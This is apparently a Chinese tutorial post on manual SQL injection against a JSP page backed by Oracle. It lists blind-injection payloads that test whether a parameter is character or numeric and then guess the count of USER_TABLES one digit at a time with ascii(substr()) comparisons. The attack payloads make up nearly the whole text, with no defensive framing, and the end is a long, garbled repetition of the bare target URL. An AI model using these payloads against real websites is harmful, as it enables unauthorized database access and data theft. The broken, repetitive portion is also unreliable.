JSP手工注入

技术2022-05-11 63

1、判断注入类型（数字型还是字符型）字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分） And user>char(0) And user http://www.test.net/index_kaoyan_view.jsp?id=117' And user>char(0) And '1'='1 ' And userchar(0) And '%'=' ' And userchar(0) And (' ')=(' ') And user http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97) And str(98) ' And str(98)>str(97) And '1'='1 ' And str(98)str(97) And '%'='　 ' And user http://www.test.net/index_kaoyan_view.jsp?id=117' And str(98)str(97) And (' ')=(' ') And str(98)出现正常的页面： And USER>CHR(0) And USER2、猜解表数量和表名数据库数量为3： And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0) And UNISTR(1)>UNISTR(0)以下为猜解数据表数量数据表第一位为：1 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1)) And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1)) And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))数据表第二位为：3 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1)) And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))数据表第三位为：1 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1)) http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117 http://www.test.net/index_kaoyan_view.jsp?id=117

专利

最新回复(0)